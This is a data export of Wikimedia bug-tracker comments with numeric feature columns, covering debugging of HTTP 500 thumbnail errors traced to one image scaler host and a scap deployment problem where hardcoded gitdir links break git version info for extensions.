254782,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Btw, good debugging step would be for someone with shell to try running the convert command by hand (with limit.sh) to see what happens (e.g. if issue with cgroup config this would give an error that wouldn't be included in thumb log)

See also gerrit change 83974 which would give more useful error messages in certain circumstances (which may or may not help for the current situation)",,,1379373885,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0.0,1.0,0.0,1.0,3.0,7.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,14.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,4.0,3.0,3.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,3.0,1.0,0.0,0.0,4.2368421052631575,0.7631578947368421,"Btw, good debugging step would be for someone with shell to try running the convert command by hand (with limit.sh) to see what happens (e.g. if issue with cgroup config this would give an error that wouldn't be included in thumb log)

See also gerrit change 83974 which would give more useful error messages in certain circumstances (which may or may not help for the current situation)"
254775,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,*** Bug 54188 has been marked as a duplicate of this bug. ***,,,1379373403,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54188 has been marked as a duplicate of this bug. ***
254767,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"(In reply to comment #5)
> reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
> 55424
> reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
> 111320

We pass things with \n's in them to wfDebugLog for the thumbnail log. I don't think we log successful thumbnailing events at all. So I think all that means is many of the thumbnail error log messages span several lines.",,,1378958845,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,6.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,6.0,2.0,6.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,8.0,13.0,5.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.6451612903225805,0.7419354838709677,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

We pass things with \n's in them to wfDebugLog for the thumbnail log. I don't think we log successful thumbnailing events at all. So I think all that means is many of the thumbnail error log messages span several lines."
254758,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"When you look at the 500 error message, its supposed to include all the stdout and stderr from convert. However these are empty. Perhaps https://gerrit.wikimedia.org/r/83974 would help debug the situation (including stderr from limit.sh in the 500 error message).",,,1378950740,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,9.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,4.4222222222222225,0.7777777777777778,"When you look at the 500 error message, its supposed to include all the stdout and stderr from convert. However these are empty. Perhaps GERRIT_URL would help debug the situation (including stderr from limit.sh in the 500 error message)."
254751,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
55424
reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
111320",,,1378943525,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.96,0.56,"reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
55424
reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
111320"
254744,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"I just did a test on commons - visited a page with 200 images which I suspect were not previously rendered before (note: all were tiff files). 28 of them failed, all from mw1154. There's only 8 image scalars. 200/8 = 25, so its not hard to imagine this means all requests to mw1154 are failing.

Perhaps something is wrong with the cgroups config on that host (or something else that would prevent all shell commands from succeeding)

The ganglia graph seems to indicate that the CPU usage on that host has dropped off since friday - http://ganglia.wikimedia.org/latest/graph.php?g=cpu_report&z=xlarge&c=Image%20scalers%20eqiad&h=mw1154.eqiad.wmnet&l=e2ecff&v=&r=week&su=1&st=1378942982&x=0&n=0",,,1378943170,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,3.0,2.0,0.0,0.5,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,1.0,5.5,10.5,2.0,1.5,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,6.5,3.5,0.5,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,1.0,15.0,2.0,2.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,1.0,0.5,0.0,0.0,3.5,3.0,5.0,2.0,1.5,9.0,0.0,0.0,0.0,0.0,2.5,0.0,2.5,0.0,2.0,10.5,2.0,0.0,0.0,0.0,2.0,0.0,1.5,1.0,0.5,2.0,0.0,0.0,0.0,3.946428571428571,0.8392857142857142,"I just did a test on commons - visited a page with 200 images which I suspect were not previously rendered before (note: all were tiff files). 28 of them failed, all from mw1154. There's only 8 image scalars. 200/8 = 25, so its not hard to imagine this means all requests to mw1154 are failing.

Perhaps something is wrong with the cgroups config on that host (or something else that would prevent all shell commands from succeeding)

The ganglia graph seems to indicate that the CPU usage on that host has dropped off since friday - URL"
254734,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Looks like mw1153 has stopped being so noisy, and it's now mw1154. Which I guess makes this a dupe of 53753

reedy@fluorine:/a/mw-log$ grep -c error thumbnail.log
324850
reedy@fluorine:/a/mw-log$ grep mw1153 thumbnail.log |grep -c error
22013
reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
54280
reedy@fluorine:/a/mw-log$ grep mw1155 thumbnail.log |grep -c error
22011
reedy@fluorine:/a/mw-log$ grep mw1156 thumbnail.log |grep -c error
21980
reedy@fluorine:/a/mw-log$ grep mw1157 thumbnail.log |grep -c error
21847
reedy@fluorine:/a/mw-log$ grep mw1158 thumbnail.log |grep -c error
22146
reedy@fluorine:/a/mw-log$ grep mw1159 thumbnail.log |grep -c error
21905
reedy@fluorine:/a/mw-log$ grep mw1160 thumbnail.log |grep -c error
22107",,,1378942177,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,5.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,5.5,22.5,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.601351351351351,0.41891891891891897,"Looks like mw1153 has stopped being so noisy, and it's now mw1154. Which I guess makes this a dupe of 53753

reedy@fluorine:/a/mw-log$ grep -c error thumbnail.log
324850
reedy@fluorine:/a/mw-log$ grep mw1153 thumbnail.log |grep -c error
22013
reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
54280
reedy@fluorine:/a/mw-log$ grep mw1155 thumbnail.log |grep -c error
22011
reedy@fluorine:/a/mw-log$ grep mw1156 thumbnail.log |grep -c error
21980
reedy@fluorine:/a/mw-log$ grep mw1157 thumbnail.log |grep -c error
21847
reedy@fluorine:/a/mw-log$ grep mw1158 thumbnail.log |grep -c error
22146
reedy@fluorine:/a/mw-log$ grep mw1159 thumbnail.log |grep -c error
21905
reedy@fluorine:/a/mw-log$ grep mw1160 thumbnail.log |grep -c error
22107"
254724,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Always mw1154?

See also bug 53573, mw1153 was (not sure if it's changed) seemingly causing a lot more errors than its counterparts",,,1378941699,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,3.9642857142857144,1.0,"Always mw1154?

See also bug 53573, mw1153 was (not sure if it's changed) seemingly causing a lot more errors than its counterparts"
254712,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"See also bug 53573. (which was mostly mw1153)
-----
>I don't think the scenario is relevant, there is either something wrong with
>the thumbnail generator script that is triggered by lots of images. Or there is
>a few faulty servers in the upload.wikimedia.org pool that cause the errors.

Thumbnail generation should be entirely independent of page view actions, so the scenario should definitely not matter",,,1378941647,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,3.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,13.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,0.8421052631578947,"See also bug 53573. (which was mostly mw1153)
-----
QUOTE
QUOTE
QUOTE

Thumbnail generation should be entirely independent of page view actions, so the scenario should definitely not matter"
55972,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","The VisualEditor UI has an interface to check what version is currently deployed (similar to Special:Version), when asking around people seemed to assume that this has been disabled purposely on the cluster.

However this does not seem to be true.

For one, the configuration around is working perfectly fine.

Though the HEAD commit is retreived by MediaWiki's GitInfo class without shell (it just reads from the .git/HEAD file directly), I additionally verified that $wgGitBin (used for calcuating the commit dates with `git show`) has also not been disabled in production and works fine (tested on tin.eqiad.wmnet).

The .git directory itself is not excluded from our deployment scripts. Though partial syncs using sync-dir or sync-file will naturally not sync the .git directory, when using scap or sync-dir on an extension directory, it will be updated just fine.

And, in fact, [[Special:Version]] does show a git hash (maybe not the best one, but it does show something).

It doesn't work for extensions because the git data is stored in mediawiki-core (e.g. mediawiki-core/extensions/VisualEditor/.git is a placeholder file with a pointer to mediawiki-core/.git/modules/extensions/VisualEditor), and the pointer is hardcoded to the location of the working copy on tin, namely /a/common/php-1.22wmf16, which doesn't exist on apaches.

For example:

krinkle@mw1017:/apache/common/php-1.22wmf16/extensions/VisualEditor$ git show

fatal: Not a git repository: /a/common/php-1.22wmf16/.git/modules/extensions/VisualEditor

krinkle@mw1017:/apache/common/php-1.22wmf16/extensions/VisualEditor$ cat .git

gitdir: /a/common/php-1.22wmf16/.git/modules/extensions/VisualEditor


I'm not sure whether the resemblance of /a and /apache is a coincendence or whether one is intended to be a shortcut of the other. Either way, it seems fairly trivial to make this work.

I'm not sure what the semantic meaning is of these directories (/a/ seems to be an existing but unused directory on all hosts other than tin).

Depending on whether it is really empty we should probably just create a symlink from /a to /apache on all machines that have /apache (except for tin), or if /a is used for other stuff, put symlink inside and have one from /a/common to /apache/common (except for tin).

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=36271",High,80.0,1378771740,1404841358.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_description,resolved,True,c1,3,True,False,False,10,,0.4,0.2,0.2,1.8,2.0,5.2,1.6,0.2,0.4,0.2,1.2,0.8,0.0,0.0,0.0,1.0,0.2,6.6,10.8,0.2,1.2,0.2,0.0,0.4,0.6,0.2,0.0,0.6,0.0,0.4,0.2,5.6,1.4,1.4,0.0,0.0,0.8,0.2,0.4,0.4,0.0,0.0,0.0,3.2,0.2,0.4,0.0,0.2,0.2,13.4,0.4,0.6,0.2,1.2,0.2,0.0,0.0,0.4,0.2,0.0,0.0,1.6,0.0,0.0,0.0,0.2,0.2,5.2,3.6,7.4,2.6,2.2,6.8,0.0,0.0,0.0,0.0,3.2,0.2,0.8,0.0,2.6,10.8,6.6,0.0,0.0,0.0,2.6,0.0,1.2,2.0,0.2,1.6,0.0,0.2,0.4,4.120040404040404,0.6323232323232323,"The VisualEditor UI has an interface to check what version is currently deployed (similar to Special:Version), when asking around people seemed to assume that this has been disabled purposely on the cluster.

However this does not seem to be true.

For one, the configuration around is working perfectly fine.

Though the HEAD commit is retreived by MediaWiki's GitInfo class without shell (it just reads from the .git/HEAD file directly), I additionally verified that $wgGitBin (used for calcuating the commit dates with CODE) has also not been disabled in production and works fine (tested on tin.eqiad.wmnet).

The .git directory itself is not excluded from our deployment scripts. Though partial syncs using sync-dir or sync-file will naturally not sync the .git directory, when using scap or sync-dir on an extension directory, it will be updated just fine.

And, in fact, [[Special:Version]] does show a git hash (maybe not the best one, but it does show something).

It doesn't work for extensions because the git data is stored in mediawiki-core (e.g. mediawiki-core/extensions/VisualEditor/.git is a placeholder file with a pointer to mediawiki-core/.git/modules/extensions/VisualEditor), and the pointer is hardcoded to the location of the working copy on tin, namely /a/common/php-1.22wmf16, which doesn't exist on apaches.

For example:

krinkle@mw1017:/apache/common/php-1.22wmf16/extensions/VisualEditor$ git show

fatal: Not a git repository: /a/common/php-1.22wmf16/.git/modules/extensions/VisualEditor

krinkle@mw1017:/apache/common/php-1.22wmf16/extensions/VisualEditor$ cat .git

gitdir: /a/common/php-1.22wmf16/.git/modules/extensions/VisualEditor


I'm not sure whether the resemblance of /a and /apache is a coincendence or whether one is intended to be a shortcut of the other. Either way, it seems fairly trivial to make this work.

I'm not sure what the semantic meaning is of these directories (/a/ seems to be an existing but unused directory on all hosts other than tin).

Depending on whether it is really empty we should probably just create a symlink from /a to /apache on all machines that have /apache (except for tin), or if /a is used for other stuff, put symlink inside and have one from /a/common to /apache/common (except for tin).

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
URL"
250369,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 142320 merged by jenkins-bot:
Set wgGitInfoCacheDirectory to point to scap managed location

https://gerrit.wikimedia.org/r/142320",,,1404843771,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,53,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2105263157894735,0.9473684210526315,"Change 142320 merged by jenkins-bot:
Set wgGitInfoCacheDirectory to point to scap managed location

GERRIT_URL"
250366,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Yay, thanks Bryan.",,,1404841358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,"Yay, thanks Bryan."
250361,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 142319 merged by jenkins-bot:
Fix GitInfo cache file path computation and storage location

https://gerrit.wikimedia.org/r/142319",,,1404837730,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,53,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.85,1.0,"Change 142319 merged by jenkins-bot:
Fix GitInfo cache file path computation and storage location

GERRIT_URL"
250355,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 142320 had a related patch set uploaded by Krinkle:
Set wgGitInfoCacheDirectory to point to scap managed location

https://gerrit.wikimedia.org/r/142320",,,1403864865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.2727272727272725,0.9545454545454546,"Change 142320 had a related patch set uploaded by Krinkle:
Set wgGitInfoCacheDirectory to point to scap managed location

GERRIT_URL"
250350,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","Change 142319 had a related patch set uploaded by BryanDavis:
Fix GitInfo cache file path computation and storage location

https://gerrit.wikimedia.org/r/142319",,,1403810584,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.086956521739131,1.0,"Change 142319 had a related patch set uploaded by BryanDavis:
Fix GitInfo cache file path computation and storage location

GERRIT_URL"
250344,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","(In reply to Bryan Davis from comment #18)
> I'll spend some more time looking into why $IP isn't what I
> (and the paths inside $wgExtensionCredits) think it should be.

Today I learned that WebStart.php clears $IP and then recreates it from the first of the MW_INSTALL_PATH environment variable, `realpath( '.' )` or `dirname( __DIR__ )`. In beta, the realpath branch wins and sets $IP to '/srv/common-local/php-master'.",,,1403805154,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,22.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,12.0,6.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6769230769230767,0.7538461538461538,"(In reply to Bryan Davis from comment #18)
QUOTE
QUOTE

Today I learned that WebStart.php clears $IP and then recreates it from the first of the MW_INSTALL_PATH environment variable, CODE or CODE. In beta, the realpath branch wins and sets $IP to '/srv/common-local/php-master'."
250338,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link",So when I echo $IP from `mweval` in beta I get /srv/common-local/php-master but apparently inside Apache $IP is /usr/local/apache/common-local/php-master. The latter is a symlink to former. This difference is causing GitInfo::getCacheFilePath() to compute the wrong path for the cache file. I'll spend some more time looking into why $IP isn't what I (and the paths inside $wgExtensionCredits) think it should be.,,,1403743208,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-itdw5f4y5avsmhjnkmu3,task_subcomment,,True,c1,3,True,,,51,,1.0,0.0,0.0,0.0,1.0,8.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,4.0,0.0,5.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,5.0,14.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,8.0,4.0,0.0,0.0,0.0,5.0,0.0,3.0,1.0,0.0,2.0,1.0,0.0,0.0,3.6736842105263157,0.6526315789473685,So when I echo $IP from CODE in beta I get /srv/common-local/php-master but apparently inside Apache $IP is /usr/local/apache/common-local/php-master. The latter is a symlink to former. This difference is causing GitInfo::getCacheFilePath() to compute the wrong path for the cache file. I'll spend some more time looking into why $IP isn't what I (and the paths inside $wgExtensionCredits) think it should be.
250332,"[scap] Deployment: Repository .git is synchronised fine, but is broken for submodules because of hardcoded gitdir link","I'm looking into this again and still can't figure out why http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version isn't displaying the git SHA1 for extensions now.

Debugging using `mwscript eval.php --wiki=enwiki` on deployment-apache01 and deployment-apache02 shows that GitInfo can read the precomputed git information there:

    > $wgDebugLogGroups = array(); $wgDebugLogFile = 'php://stdout';
    > $gitinfo = new GitInfo($IP); $coreId = $gitinfo->getHeadSHA1();
    > $cache = wfGetCache( CACHE_ANYTHING );
    > $path = ""$IP/extensions/VisualEditor/VisualEditor.php"";
    > $memcKey = wfMemcKey( 'specialversion-ext-version-text', $path, $coreId );
    > echo $memcKey;
    enwiki:specialversion-ext-version-text:/srv/common-local/php-master/extensions/VisualEditor/VisualEditor.php:49952a405014c89b239da3bcaea158c47faf8251
    > var_dump( $cache->get( $memcKey ) );
    enwiki-bca38539: 649.4035  25.8M  [memcached] get(enwiki:specialversion-ext-version-text:/srv/common-local/php-master/extensions/VisualEditor/VisualEditor.php:49952a405014c89b239da3bcaea158c47faf8251)
    enwiki-bca38539: 649.4047  25.8M  [memcached] result: NOT FOUND
    bool(false)

    > $gitinfo = new GitInfo( dirname( $path ) );
    > echo $gitinfo->getHeadSHA1();
    fefd3a5d72c118993cc555f0a53a561f58a5fd19
    > echo $gitinfo->getHeadViewUrl();
